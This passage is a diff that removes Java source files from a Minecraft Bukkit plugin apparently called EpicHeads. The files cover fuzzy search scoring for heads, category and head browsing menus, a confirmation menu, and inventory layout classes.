}
|
||||
|
||||
Collections.sort(matches);
|
||||
|
||||
List<CacheHead> results = new ArrayList<>();
|
||||
|
||||
for (Match match : matches) {
|
||||
results.add(match.subject);
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
|
||||
private double calculateRelevance(Query query, CacheHead head) {
|
||||
double relevance = calculateRelevance(query, reuseQuery(head.getName()));
|
||||
|
||||
for (String tag : head.getTags()) {
|
||||
relevance = Math.max(relevance, 0.8 * calculateRelevance(query, reuseQuery(tag)));
|
||||
}
|
||||
|
||||
return relevance;
|
||||
}
|
||||
|
||||
private double calculateRelevance(Query query, Query subject) {
|
||||
double similarity = calcSimilarity(query.string, subject.string);
|
||||
|
||||
double wordSimilarity = 0d;
|
||||
double aggregate = 0d;
|
||||
int count = 0;
|
||||
|
||||
for (Substring queryWord : query.words) {
|
||||
double querySimilarity = 0d;
|
||||
for (Substring subjectWord : subject.words) {
|
||||
querySimilarity = Math.max(querySimilarity, calcSimilarity(queryWord, subjectWord));
|
||||
}
|
||||
aggregate += querySimilarity;
|
||||
count += 1;
|
||||
wordSimilarity = Math.max(wordSimilarity, querySimilarity);
|
||||
}
|
||||
if (count > 0) {
|
||||
wordSimilarity = 0.9d * wordSimilarity + 0.1d * (aggregate / count);
|
||||
}
|
||||
return Math.max(similarity, wordSimilarity);
|
||||
}
|
||||
|
||||
private double calcSimilarity(Substring query, Substring subject) {
|
||||
int len1 = query.length();
|
||||
int len2 = subject.length();
|
||||
int[][] dp = getReusableArray(len1 + 1, len2 + 1);
|
||||
for (int i = 0; i <= len1; i++) {
|
||||
dp[i][0] = i;
|
||||
}
|
||||
for (int j = 0; j <= len2; j++) {
|
||||
dp[0][j] = j;
|
||||
}
|
||||
for (int i = 0; i < len1; i++) {
|
||||
char c1 = query.charAt(i);
|
||||
for (int j = 0; j < len2; j++) {
|
||||
char c2 = subject.charAt(j);
|
||||
if (c1 == c2) {
|
||||
dp[i + 1][j + 1] = dp[i][j];
|
||||
} else {
|
||||
int replace = dp[i][j] + 1;
|
||||
int insert = dp[i][j + 1] + 1;
|
||||
int delete = dp[i + 1][j] + 1;
|
||||
int min = replace > insert ? insert : replace;
|
||||
min = delete > min ? min : delete;
|
||||
dp[i + 1][j + 1] = min;
|
||||
}
|
||||
}
|
||||
}
|
||||
int editDistance = dp[len1][len2];
|
||||
if (editDistance == 0)
|
||||
return 1;
|
||||
return 0.75d * (double) (query.length() - editDistance) / (double) query.length();
|
||||
}
|
||||
|
||||
private final static class Match implements Comparable<Match> {
|
||||
|
||||
public final CacheHead subject;
|
||||
public final double relevance;
|
||||
|
||||
private Match(CacheHead subject, double relevance) {
|
||||
this.subject = subject;
|
||||
this.relevance = relevance;
|
||||
}
|
||||
|
||||
@Override
|
||||
public int compareTo(Match other) {
|
||||
return Double.compare(other.relevance, relevance);
|
||||
}
|
||||
}
|
||||
|
||||
private final class Query {
|
||||
|
||||
public Substring string;
|
||||
public List<Substring> words;
|
||||
|
||||
public Query(String string, List<Substring> words) {
|
||||
this.string = new Substring(string);
|
||||
this.words = words;
|
||||
}
|
||||
|
||||
public Query reuse(String string, List<Substring> words) {
|
||||
this.string.reuse(string);
|
||||
this.words = words;
|
||||
return this;
|
||||
}
|
||||
}
|
||||
|
||||
private static class Substring {
|
||||
|
||||
public String string;
|
||||
public int start;
|
||||
public int end;
|
||||
|
||||
public Substring(String string) {
|
||||
this(string, 0, string.length());
|
||||
}
|
||||
|
||||
public Substring(String string, int start, int end) {
|
||||
reuse(string, start, end);
|
||||
}
|
||||
|
||||
public Substring reuse(String string) {
|
||||
return reuse(string, 0, string.length());
|
||||
}
|
||||
|
||||
public Substring reuse(String string, int start, int end) {
|
||||
Checks.ensureNonNull(string, "string");
|
||||
this.string = string;
|
||||
this.moveTo(start, end);
|
||||
return this;
|
||||
}
|
||||
|
||||
public void moveTo(int start, int end) {
|
||||
Checks.ensureTrue(start >= 0, "start must be >= 0");
|
||||
Checks.ensureTrue(end >= start, "end must be >= start");
|
||||
Checks.ensureTrue(end <= string.length(), "end must be <= to the length of string");
|
||||
this.start = start;
|
||||
this.end = end;
|
||||
}
|
||||
|
||||
public char charAt(int index) {
|
||||
if (index < 0)
|
||||
throw new IndexOutOfBoundsException("index cannot be negative");
|
||||
if (index >= length())
|
||||
throw new IndexOutOfBoundsException("index must be less than the strings length");
|
||||
char ch = string.charAt(start + index);
|
||||
return (char) (ch >= 'A' && ch <= 'Z' ? ch + ('a' - 'A') : ch);
|
||||
}
|
||||
|
||||
public int length() {
|
||||
return end - start;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return string.substring(start, end);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Search over the list of heads and find all heads with a relevance above a certain threshold.
|
||||
* Will simplify the query string in an attempt to improve matches.
|
||||
*
|
||||
* @param query The search term.
|
||||
* @param heads The heads we are checking for matches.
|
||||
* @param threshold The threshold relevance that a head must have to be matched.
|
||||
* @return All heads sorted by relevance that have a relevance greater than the threshold.
|
||||
*/
|
||||
public static List<CacheHead> searchHeads(String query, Iterable<CacheHead> heads, double threshold) {
|
||||
return new Search(query, threshold).checkAll(heads);
|
||||
}
|
||||
|
||||
}
|
@ -1,175 +0,0 @@
|
||||
package com.songoda.epicheads.menu;
|
||||
|
||||
import com.songoda.epicheads.cache.CacheFile;
|
||||
import com.songoda.epicheads.cache.CacheHead;
|
||||
import com.songoda.epicheads.menu.ui.Bounds;
|
||||
import com.songoda.epicheads.menu.ui.InventoryMenu;
|
||||
import com.songoda.epicheads.menu.ui.MenuResponse;
|
||||
import com.songoda.epicheads.menu.ui.element.Element;
|
||||
import com.songoda.epicheads.menu.ui.item.Button;
|
||||
import com.songoda.epicheads.menu.ui.item.Item;
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
import com.songoda.epicheads.util.Stringify;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.Material;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.function.Function;
|
||||
|
||||
public class CacheHeadsMenu extends Element {
|
||||
|
||||
public static final Item defaultClose = Item.create(Material.REDSTONE_BLOCK).name("&cClose Menu");
|
||||
public static final Item defaultBack = Item.create(Material.REDSTONE_BLOCK).name("&cBack to Categories");
|
||||
public static final Item defaultSearch = Item.create(Material.COMPASS).name("&7Search Heads");
|
||||
public static final String defaultCategoriesTitle = "Categories";
|
||||
public static final String defaultCategoryTitle = "%category%";
|
||||
|
||||
public static final Template defaultTemplate = new Template(CategoriesMenu.defaultTemplate, HeadsMenu.defaultTemplate, defaultClose, defaultBack, defaultSearch, defaultCategoriesTitle, defaultCategoryTitle);
|
||||
|
||||
private Template template;
|
||||
|
||||
private final CacheFile cache;
|
||||
private final InventoryMenu inventoryMenu;
|
||||
|
||||
private final CategoriesMenu categoriesMenu;
|
||||
private final HeadsMenu headsMenu;
|
||||
|
||||
private String selectedCategory = null;
|
||||
|
||||
public CacheHeadsMenu(CacheFile cache, InventoryMenu inventoryMenu, Bounds bounds, Function<CacheHead, MenuResponse> onSelect) {
|
||||
super(bounds);
|
||||
|
||||
Checks.ensureNonNull(cache, "cache");
|
||||
Checks.ensureNonNull(inventoryMenu, "inventoryMenu");
|
||||
Checks.ensureNonNull(onSelect, "onSelect");
|
||||
Checks.ensureTrue(bounds.height >= 3, "bounds must have a height of at least 3");
|
||||
|
||||
this.cache = cache;
|
||||
this.inventoryMenu = inventoryMenu;
|
||||
|
||||
this.categoriesMenu = new CategoriesMenu(cache, bounds, this::selectCategory);
|
||||
this.headsMenu = new HeadsMenu(bounds, onSelect);
|
||||
|
||||
setTemplate(defaultTemplate);
|
||||
}
|
||||
|
||||
public boolean onCategoriesScreen() {
|
||||
return selectedCategory == null;
|
||||
}
|
||||
|
||||
public MenuResponse close() {
|
||||
return MenuResponse.CLOSE;
|
||||
}
|
||||
|
||||
public MenuResponse back() {
|
||||
this.selectedCategory = null;
|
||||
|
||||
inventoryMenu.setTitle(template.getCategoriesTitle());
|
||||
|
||||
return MenuResponse.UPDATE;
|
||||
}
|
||||
|
||||
public MenuResponse search() {
|
||||
inventoryMenu.getPlayer().sendMessage("Search");
|
||||
|
||||
return MenuResponse.NONE;
|
||||
}
|
||||
|
||||
public MenuResponse selectCategory(String category) {
|
||||
Checks.ensureNonNull(category, "category");
|
||||
|
||||
List<CacheHead> heads = cache.getCategoryHeads(category);
|
||||
|
||||
if (heads.size() == 0) {
|
||||
return back();
|
||||
}
|
||||
|
||||
this.selectedCategory = category;
|
||||
this.headsMenu.setItems(heads);
|
||||
|
||||
inventoryMenu.setTitle(template.getCategoryTitle(category));
|
||||
|
||||
return MenuResponse.UPDATE;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Button[] getItems() {
|
||||
if (onCategoriesScreen()) {
|
||||
return categoriesMenu.getItems();
|
||||
} else {
|
||||
return headsMenu.getItems();
|
||||
}
|
||||
}
|
||||
|
||||
public void setTemplate(Template template) {
|
||||
Checks.ensureNonNull(template, "template");
|
||||
|
||||
this.template = template;
|
||||
this.template.init(this);
|
||||
|
||||
if (onCategoriesScreen()) {
|
||||
inventoryMenu.setTitle(template.getCategoriesTitle());
|
||||
} else {
|
||||
inventoryMenu.setTitle(template.getCategoryTitle(selectedCategory));
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return Stringify.builder().entry("template", template).entry("cache", cache).entry("headsMenu", headsMenu).entry("categoriesMenu", categoriesMenu).toString();
|
||||
}
|
||||
|
||||
public static final class Template {
|
||||
|
||||
private final CategoriesMenu.Template categoriesTemplate;
|
||||
private final HeadsMenu.Template headsTemplate;
|
||||
private final Item close;
|
||||
private final Item back;
|
||||
private final Item search;
|
||||
private final String categoriesTitle;
|
||||
private final String categoryTitle;
|
||||
|
||||
public Template(CategoriesMenu.Template categoriesTemplate, HeadsMenu.Template headsTemplate, Item close, Item back, Item search, String categoriesTitle, String categoryTitle) {
|
||||
|
||||
Checks.ensureNonNull(categoriesTemplate, "categoriesTemplate");
|
||||
Checks.ensureNonNull(headsTemplate, "headsTemplate");
|
||||
Checks.ensureNonNull(close, "close");
|
||||
Checks.ensureNonNull(back, "back");
|
||||
Checks.ensureNonNull(search, "search");
|
||||
Checks.ensureNonNull(categoriesTemplate, "categoriesTemplate");
|
||||
Checks.ensureNonNull(categoryTitle, "categoryTitle");
|
||||
|
||||
this.categoriesTemplate = categoriesTemplate;
|
||||
this.headsTemplate = headsTemplate;
|
||||
this.close = close;
|
||||
this.back = back;
|
||||
this.search = search;
|
||||
this.categoriesTitle = ChatColor.translateAlternateColorCodes('&', categoriesTitle);
|
||||
this.categoryTitle = ChatColor.translateAlternateColorCodes('&', categoryTitle);
|
||||
}
|
||||
|
||||
public String getCategoriesTitle() {
|
||||
return categoriesTitle;
|
||||
}
|
||||
|
||||
public String getCategoryTitle(String category) {
|
||||
return categoryTitle.replace("%category%", category);
|
||||
}
|
||||
|
||||
private void init(CacheHeadsMenu menu) {
|
||||
Button close = this.close.buildButton(menu::close);
|
||||
Button back = this.back.buildButton(menu::back);
|
||||
Button search = this.search.buildButton(menu::search);
|
||||
|
||||
menu.categoriesMenu.setTemplate(categoriesTemplate, close, search);
|
||||
menu.headsMenu.setTemplate(headsTemplate, back, search);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return Stringify.builder().entry("categoriesTemplate", categoriesTemplate).entry("headsTemplate", headsTemplate).toString();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
@ -1,131 +0,0 @@
|
||||
package com.songoda.epicheads.menu;
|
||||
|
||||
import com.songoda.epicheads.cache.CacheFile;
|
||||
import com.songoda.epicheads.cache.CacheHead;
|
||||
import com.songoda.epicheads.config.lang.Placeholder;
|
||||
import com.songoda.epicheads.menu.ui.Bounds;
|
||||
import com.songoda.epicheads.menu.ui.MenuResponse;
|
||||
import com.songoda.epicheads.menu.ui.element.Element;
|
||||
import com.songoda.epicheads.menu.ui.element.PagedBox;
|
||||
import com.songoda.epicheads.menu.ui.item.Button;
|
||||
import com.songoda.epicheads.menu.ui.item.Item;
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
import com.songoda.epicheads.util.SafeCall;
|
||||
import com.songoda.epicheads.util.Stringify;
|
||||
import com.songoda.epicheads.volatilecode.Items;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.Collections;
|
||||
import java.util.List;
|
||||
import java.util.function.Function;
|
||||
|
||||
public class CategoriesMenu extends Element {
|
||||
|
||||
public static final Item defaultCategoryItem = Items.createSkull()
|
||||
.name("&7%category%")
|
||||
.lore("&6%heads% &eheads");
|
||||
|
||||
public static final Template defaultTemplate = new Template(PagedBox.defaultTemplate, defaultCategoryItem);
|
||||
|
||||
private Template template;
|
||||
|
||||
private final CacheFile cache;
|
||||
private final Function<String, MenuResponse> onSelect;
|
||||
|
||||
private final PagedBox pagedBox;
|
||||
|
||||
public CategoriesMenu(CacheFile cache, Bounds bounds, Function<String, MenuResponse> onSelect) {
|
||||
super(bounds);
|
||||
|
||||
Checks.ensureNonNull(cache, "cache");
|
||||
Checks.ensureNonNull(onSelect, "onSelect");
|
||||
Checks.ensureTrue(bounds.height >= 3, "bounds must have a height of at least 3");
|
||||
|
||||
this.cache = cache;
|
||||
this.onSelect = SafeCall.nonNullFunction(onSelect, "onSelect");
|
||||
this.pagedBox = new PagedBox(bounds);
|
||||
|
||||
setTemplate(defaultTemplate, PagedBox.defaultLeftControl, PagedBox.defaultRightControl);
|
||||
|
||||
updateItems();
|
||||
}
|
||||
|
||||
@Override
|
||||
public Button[] getItems() {
|
||||
return pagedBox.getItems();
|
||||
}
|
||||
|
||||
private void updateItems() {
|
||||
List<String> categories = new ArrayList<>(cache.getCategories());
|
||||
Button[] categoryItems = new Button[categories.size() * 2 + 4];
|
||||
|
||||
Collections.sort(categories);
|
||||
|
||||
for(int index = 0; index < categories.size(); ++index) {
|
||||
String category = categories.get(index);
|
||||
|
||||
categoryItems[index * 2] = template.constructCategoryButton(this, category);
|
||||
}
|
||||
|
||||
pagedBox.setItems(categoryItems);
|
||||
}
|
||||
|
||||
public void setTemplate(Template template, Button leftControl, Button rightControl) {
|
||||
Checks.ensureNonNull(template, "template");
|
||||
|
||||
this.template = template;
|
||||
this.template.init(this, leftControl, rightControl);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return Stringify.builder()
|
||||
.entry("template", template)
|
||||
.entry("onSelect", onSelect)
|
||||
.entry("pagedBox", pagedBox).toString();
|
||||
}
|
||||
|
||||
public static final class Template {
|
||||
|
||||
private final PagedBox.Template pagedBoxTemplate;
|
||||
private final Item categoryItem;
|
||||
|
||||
public Template(PagedBox.Template pagedBoxTemplate, Item categoryItem) {
|
||||
Checks.ensureNonNull(pagedBoxTemplate, "pagedBoxTemplate");
|
||||
Checks.ensureNonNull(categoryItem, "categoryItem");
|
||||
|
||||
this.pagedBoxTemplate = pagedBoxTemplate;
|
||||
this.categoryItem = categoryItem;
|
||||
}
|
||||
|
||||
private void init(CategoriesMenu menu, Button leftControl, Button rightControl) {
|
||||
menu.pagedBox.setTemplate(pagedBoxTemplate, leftControl, rightControl);
|
||||
}
|
||||
|
||||
public Button constructCategoryButton(CategoriesMenu menu, String category) {
|
||||
Checks.ensureNonNull(menu, "menu");
|
||||
Checks.ensureNonNull(category, "category");
|
||||
|
||||
List<CacheHead> categoryHeads = menu.cache.getCategoryHeads(category);
|
||||
CacheHead iconHead = categoryHeads.get(0);
|
||||
|
||||
Placeholder categoryPlaceholder = new Placeholder("%category%", category);
|
||||
Placeholder headCountPlaceholder = new Placeholder("%heads%", categoryHeads.size());
|
||||
|
||||
ItemStack icon = categoryItem.build(categoryPlaceholder, headCountPlaceholder);
|
||||
icon = iconHead.addTexture(icon);
|
||||
|
||||
return new Button(icon, () -> menu.onSelect.apply(category));
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return Stringify.builder()
|
||||
.entry("pagedBoxTemplate", pagedBoxTemplate)
|
||||
.entry("categoryItem", categoryItem).toString();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
@ -1,108 +0,0 @@
|
||||
package com.songoda.epicheads.menu;
|
||||
|
||||
import com.songoda.epicheads.menu.ui.Bounds;
|
||||
import com.songoda.epicheads.menu.ui.MenuResponse;
|
||||
import com.songoda.epicheads.menu.ui.Position;
|
||||
import com.songoda.epicheads.menu.ui.element.Container;
|
||||
import com.songoda.epicheads.menu.ui.element.Element;
|
||||
import com.songoda.epicheads.menu.ui.item.Button;
|
||||
import com.songoda.epicheads.menu.ui.item.Item;
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
import com.songoda.epicheads.util.SafeCall;
|
||||
import com.songoda.epicheads.util.Stringify;
|
||||
import com.songoda.epicheads.volatilecode.Items;
|
||||
import org.bukkit.Material;
|
||||
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
public class ConfirmationMenu extends Element {
|
||||
|
||||
public static final Item defaultAccept = Items.createGreenStainedClay().name("&aAccept");
|
||||
public static final Item defaultDecline = Items.createRedStainedClay().name("&cDecline");
|
||||
public static final Button defaultSubject = Item.create(Material.AIR).buildButton();
|
||||
|
||||
public static final Template defaultTemplate = new Template(defaultAccept, defaultDecline);
|
||||
|
||||
private Template template;
|
||||
|
||||
private final Callable<MenuResponse> onAccept;
|
||||
private final Callable<MenuResponse> onDecline;
|
||||
|
||||
private Button subject;
|
||||
|
||||
public ConfirmationMenu(Bounds bounds, Callable<MenuResponse> onAccept, Callable<MenuResponse> onDecline) {
|
||||
super(bounds);
|
||||
|
||||
Checks.ensureNonNull(onAccept, "onAccept");
|
||||
Checks.ensureNonNull(onDecline, "onDecline");
|
||||
Checks.ensureTrue(bounds.width >= 3, "bounds must have a width of at least 3");
|
||||
Checks.ensureTrue(bounds.width >= 2, "bounds must have a height of at least 2");
|
||||
|
||||
this.onAccept = SafeCall.nonNullCallable(onAccept, "onAccept");
|
||||
this.onDecline = SafeCall.nonNullCallable(onDecline, "onDecline");
|
||||
|
||||
setTemplate(defaultTemplate, defaultSubject);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Button[] getItems() {
|
||||
Container container = new Container(bounds);
|
||||
|
||||
Position subjectPosition = new Position(bounds.width / 2, (bounds.height - 1) / 3);
|
||||
Position acceptPosition = new Position(bounds.width / 3, (bounds.height - 1) * 2 / 3);
|
||||
Position declinePosition = new Position(bounds.width * 2 / 3, (bounds.height - 1) * 2 / 3);
|
||||
|
||||
container.setItem(subjectPosition, subject);
|
||||
container.setItem(acceptPosition, template.constructAccept(this));
|
||||
container.setItem(declinePosition, template.constructDecline(this));
|
||||
|
||||
return container.getItems();
|
||||
}
|
||||
|
||||
public void setTemplate(Template template, Button subject) {
|
||||
Checks.ensureNonNull(template, "template");
|
||||
|
||||
this.template = template;
|
||||
this.subject = subject;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return Stringify.builder()
|
||||
.entry("template", template)
|
||||
.entry("subject", subject)
|
||||
.entry("onAccept", onAccept)
|
||||
.entry("onDecline", onDecline).toString();
|
||||
}
|
||||
|
||||
public static final class Template {
|
||||
|
||||
private final Item accept;
|
||||
private final Item decline;
|
||||
|
||||
public Template(Item accept, Item decline) {
|
||||
Checks.ensureNonNull(accept, "accept");
|
||||
Checks.ensureNonNull(decline, "decline");
|
||||
|
||||
this.accept = accept;
|
||||
this.decline = decline;
|
||||
}
|
||||
|
||||
public Button constructAccept(ConfirmationMenu menu) {
|
||||
return accept.buildButton(menu.onAccept);
|
||||
}
|
||||
|
||||
public Button constructDecline(ConfirmationMenu menu) {
|
||||
return accept.buildButton(menu.onDecline);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return Stringify.builder()
|
||||
.entry("accept", accept)
|
||||
.entry("decline", decline).toString();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
@ -1,120 +0,0 @@
|
||||
package com.songoda.epicheads.menu;
|
||||
|
||||
import com.songoda.epicheads.cache.CacheHead;
|
||||
import com.songoda.epicheads.menu.ui.Bounds;
|
||||
import com.songoda.epicheads.menu.ui.MenuResponse;
|
||||
import com.songoda.epicheads.menu.ui.element.Element;
|
||||
import com.songoda.epicheads.menu.ui.element.PagedBox;
|
||||
import com.songoda.epicheads.menu.ui.item.Button;
|
||||
import com.songoda.epicheads.menu.ui.item.Item;
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
import com.songoda.epicheads.util.SafeCall;
|
||||
import com.songoda.epicheads.util.Stringify;
|
||||
import com.songoda.epicheads.volatilecode.Items;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.Collection;
|
||||
import java.util.List;
|
||||
import java.util.function.Function;
|
||||
|
||||
public class HeadsMenu extends Element {
|
||||
|
||||
public static final Item defaultHead = Items.createSkull().name("&7%name%").lore("&eCost: &6%cost%");
|
||||
|
||||
public static final Template defaultTemplate = new Template(PagedBox.defaultTemplate, defaultHead);
|
||||
|
||||
private Template template;
|
||||
|
||||
private final Function<CacheHead, MenuResponse> onSelect;
|
||||
|
||||
private final List<CacheHead> heads = new ArrayList<>();
|
||||
private final PagedBox pagedBox;
|
||||
|
||||
public HeadsMenu(Bounds bounds, Function<CacheHead, MenuResponse> onSelect) {
|
||||
super(bounds);
|
||||
|
||||
Checks.ensureNonNull(onSelect, "onSelect");
|
||||
Checks.ensureTrue(bounds.height >= 3, "bounds must have a height of at least 3");
|
||||
|
||||
this.onSelect = SafeCall.nonNullFunction(onSelect, "onHeadSelect");
|
||||
this.pagedBox = new PagedBox(bounds);
|
||||
|
||||
setTemplate(defaultTemplate, PagedBox.defaultLeftControl, PagedBox.defaultRightControl);
|
||||
}
|
||||
|
||||
public void setItems(Collection<CacheHead> heads) {
|
||||
this.heads.clear();
|
||||
this.heads.addAll(heads);
|
||||
|
||||
updateItems();
|
||||
}
|
||||
|
||||
@Override
|
||||
public Button[] getItems() {
|
||||
return pagedBox.getItems();
|
||||
}
|
||||
|
||||
private void updateItems() {
|
||||
Button[] items = new Button[heads.size()];
|
||||
|
||||
for(int index = 0; index < heads.size(); ++index) {
|
||||
CacheHead head = heads.get(index);
|
||||
|
||||
items[index] = template.constructHead(this, head);
|
||||
}
|
||||
|
||||
pagedBox.setItems(items);
|
||||
}
|
||||
|
||||
public void setTemplate(Template template, Button leftControl, Button rightControl) {
|
||||
Checks.ensureNonNull(template, "template");
|
||||
|
||||
this.template = template;
|
||||
this.template.init(this, leftControl, rightControl);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return Stringify.builder()
|
||||
.entry("template", template)
|
||||
.entry("onSelect", onSelect)
|
||||
.entry("pagedBox", pagedBox)
|
||||
.entry("heads", heads).toString();
|
||||
}
|
||||
|
||||
public static final class Template {
|
||||
|
||||
private final PagedBox.Template pagedBoxTemplate;
|
||||
private final Item headItem;
|
||||
|
||||
public Template(PagedBox.Template pagedBoxTemplate, Item headItem) {
|
||||
Checks.ensureNonNull(pagedBoxTemplate, "pagedBoxTemplate");
|
||||
Checks.ensureNonNull(headItem, "headItem");
|
||||
|
||||
this.pagedBoxTemplate = pagedBoxTemplate;
|
||||
this.headItem = headItem;
|
||||
}
|
||||
|
||||
private void init(HeadsMenu menu, Button leftControl, Button rightControl) {
|
||||
menu.pagedBox.setTemplate(pagedBoxTemplate, leftControl, rightControl);
|
||||
}
|
||||
|
||||
public Button constructHead(HeadsMenu menu, CacheHead head) {
|
||||
ItemStack item = headItem.build(head.getPlaceholders(null));
|
||||
|
||||
item = head.addTexture(item);
|
||||
|
||||
return new Button(item, () -> menu.onSelect.apply(head));
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return Stringify.builder()
|
||||
.entry("pagedBoxTemplate", pagedBoxTemplate)
|
||||
.entry("headItem", headItem).toString();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
@ -1,73 +0,0 @@
|
||||
package com.songoda.epicheads.menu.ui;
|
||||
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
import com.songoda.epicheads.util.Stringify;
|
||||
|
||||
public final class Bounds {
|
||||
|
||||
public final Position position;
|
||||
public final int width;
|
||||
public final int height;
|
||||
|
||||
public Bounds(int x, int y, int width, int height) {
|
||||
this(new Position(x, y), width, height);
|
||||
}
|
||||
|
||||
public Bounds(Position position, int width, int height) {
|
||||
Checks.ensureNonNull(position, "position");
|
||||
Checks.ensureTrue(width > 0, "width must be greater than 0");
|
||||
Checks.ensureTrue(height > 0, "height must be greater than 0");
|
||||
|
||||
this.position = position;
|
||||
this.width = width;
|
||||
this.height = height;
|
||||
}
|
||||
|
||||
public int getVolume() {
|
||||
return this.width * this.height;
|
||||
}
|
||||
|
||||
public Position[] getCorners() {
|
||||
return new Position[] {
|
||||
position,
|
||||
position.add(0, height - 1),
|
||||
position.add(width - 1, 0),
|
||||
position.add(width - 1, height - 1)
|
||||
};
|
||||
}
|
||||
|
||||
public boolean inBounds(Position pos) {
|
||||
return pos.x >= position.x && pos.y >= position.y && pos.x < position.x + width && pos.y < position.y + height;
|
||||
}
|
||||
|
||||
public boolean inBounds(Bounds other) {
|
||||
for(Position corner : other.getCorners()) {
|
||||
if(!inBounds(corner))
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
public boolean collides(Bounds other) {
|
||||
for(Position corner : other.getCorners()) {
|
||||
if(inBounds(corner))
|
||||
return true;
|
||||
}
|
||||
|
||||
for(Position corner : getCorners()) {
|
||||
if(other.inBounds(corner))
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return Stringify.builder()
|
||||
.entry("position", position)
|
||||
.entry("width", width)
|
||||
.entry("height", height).toString();
|
||||
}
|
||||
|
||||
}
|
@ -1,166 +0,0 @@
|
||||
package com.songoda.epicheads.menu.ui;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.menu.ui.element.Container;
|
||||
import com.songoda.epicheads.menu.ui.element.Element;
|
||||
import com.songoda.epicheads.menu.ui.item.Button;
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
import com.songoda.epicheads.util.Stringify;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.inventory.InventoryClickEvent;
|
||||
import org.bukkit.inventory.Inventory;
|
||||
import org.bukkit.inventory.InventoryHolder;
|
||||
import org.bukkit.inventory.InventoryView;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
public class InventoryMenu implements InventoryHolder {
|
||||
|
||||
private final Player player;
|
||||
public final Bounds bounds;
|
||||
|
||||
private final List<Element> elements = new ArrayList<>();
|
||||
|
||||
private Container container;
|
||||
private Inventory inventory;
|
||||
private String title;
|
||||
private Inventory newInventory;
|
||||
private String newTitle;
|
||||
|
||||
public InventoryMenu(Player player, String title, int rows) {
|
||||
Checks.ensureNonNull(player, "player");
|
||||
|
||||
this.player = player;
|
||||
this.bounds = new Bounds(Position.ZERO, 9, rows);
|
||||
this.container = new Container(bounds);
|
||||
|
||||
setTitle(title);
|
||||
}
|
||||
|
||||
public Player getPlayer() {
|
||||
return player;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Inventory getInventory() {
|
||||
return inventory;
|
||||
}
|
||||
|
||||
public boolean hasMenuOpen() {
|
||||
InventoryView view = player.getOpenInventory();
|
||||
|
||||
if (view == null || view.getTopInventory() == null)
|
||||
return false;
|
||||
|
||||
InventoryHolder holder = view.getTopInventory().getHolder();
|
||||
|
||||
return holder != null && holder.equals(this);
|
||||
}
|
||||
|
||||
public void removeElement(Element element) {
|
||||
Checks.ensureNonNull(element, "element");
|
||||
|
||||
elements.remove(element);
|
||||
}
|
||||
|
||||
public void addElement(Element element) {
|
||||
Checks.ensureNonNull(element, "element");
|
||||
Checks.ensureTrue(bounds.inBounds(element.bounds), "element's bounds is not within the bounds of the menu");
|
||||
|
||||
elements.add(element);
|
||||
}
|
||||
|
||||
public List<Element> getElements() {
|
||||
return elements;
|
||||
}
|
||||
|
||||
public void open() {
|
||||
updateMenu();
|
||||
player.openInventory(inventory);
|
||||
}
|
||||
|
||||
public void setTitle(String title) {
|
||||
Checks.ensureNonNull(title, "title");
|
||||
|
||||
if (inventory != null && title.equals(this.title))
|
||||
return;
|
||||
|
||||
title = (title.length() > 32 ? title.substring(0, 32) : title);
|
||||
this.title = title;
|
||||
|
||||
this.newInventory = Bukkit.createInventory(this, bounds.getVolume(), title);
|
||||
}
|
||||
|
||||
private boolean swapToNewInventory() {
|
||||
if (newInventory == null)
|
||||
return false;
|
||||
|
||||
inventory = newInventory;
|
||||
title = newTitle;
|
||||
newInventory = null;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
public void layoutElements() {
|
||||
container.clear();
|
||||
|
||||
elements.forEach(container::addElement);
|
||||
}
|
||||
|
||||
public void updateMenu() {
|
||||
boolean newInventory = swapToNewInventory();
|
||||
|
||||
layoutElements();
|
||||
|
||||
Button[] items = container.getItems();
|
||||
ItemStack[] contents = new ItemStack[items.length];
|
||||
|
||||
for (int index = 0; index < contents.length; index++) {
|
||||
Button item = items[index];
|
||||
|
||||
if (item != null) {
|
||||
contents[index] = item.getItem();
|
||||
}
|
||||
}
|
||||
|
||||
inventory.setContents(contents);
|
||||
|
||||
if (newInventory && hasMenuOpen()) {
|
||||
player.openInventory(inventory);
|
||||
}
|
||||
}
|
||||
|
||||
